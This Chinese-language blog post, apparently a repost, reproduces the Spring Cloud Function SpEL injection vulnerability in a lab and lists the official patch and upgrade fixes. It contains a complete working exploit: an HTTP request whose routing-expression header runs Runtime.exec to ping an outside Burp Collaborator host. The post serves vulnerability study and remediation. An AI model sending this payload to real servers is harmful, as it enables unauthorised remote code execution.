Spring Cloud Function SPEL表达式注入漏洞复现

admin 2025年2月24日16:21:00评论11 views字数 1688阅读5分37秒阅读模式
Spring Cloud Function SPEL表达式注入漏洞复现

漏洞简介

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。

由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。
Spring Cloud Function SPEL表达式注入漏洞复现
漏洞影响范围

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

Spring Cloud Function SPEL表达式注入漏洞复现
漏洞环境部署
第一步:通过https://github.com/Pizz33/Spring-Cloud-Function-SpEL部署漏洞环境

git clone https://github.com/Pizz33/Spring-Cloud-Function-SpEL

Spring Cloud Function SPEL表达式注入漏洞复现

第二步:使用java运行jar文件

java -jar demo-0.0.1-SNAPSHOT.jar

Spring Cloud Function SPEL表达式注入漏洞复现

第三步:访问http://ip:8080端口,出现以下界面代表漏洞环境已部署成功

Spring Cloud Function SPEL表达式注入漏洞复现

Spring Cloud Function SPEL表达式注入漏洞复现
漏洞复现
第一步:访问http://192.168.10.128:8080/,构造如下数据包,其中关键payload为spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping 9z9ivxgwwxggq6ux6n1vrr8hh8nybn.burpcollaborator.net")

其中

9z9ivxgwwxggq6ux6n1vrr8hh8nybn.burpcollaborator.net

为burpsuite dnslog平台生成的域名

POST /functionRouter HTTP/1.1Host: 192.168.10.128:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping 9z9ivxgwwxggq6ux6n1vrr8hh8nybn.burpcollaborator.net")Content-Type: application/x-www-form-urlencodedAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0
第二步:利用burpsuite发送该数据包

Spring Cloud Function SPEL表达式注入漏洞复现

第三步:burpsuite dnslog平台成功接收到数据

Spring Cloud Function SPEL表达式注入漏洞复现

Spring Cloud Function SPEL表达式注入漏洞复现
漏洞修复
1、目前官方已针对此漏洞发布修复补丁,请受影响的用户尽快更新进行防护,官方链接:

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

2、也可通过升级版本来修复该漏洞,官方链接:

https://github.com/spring-cloud/spring-cloud-function/releases/tag/v3.2.3

Spring Cloud Function SPEL表达式注入漏洞复现

Spring Cloud Function SPEL表达式注入漏洞复现

原文始发于微信公众号(第59号):Spring Cloud Function SPEL表达式注入漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月24日16:21:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Function SPEL表达式注入漏洞复现https://cn-sec.com/archives/860854.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息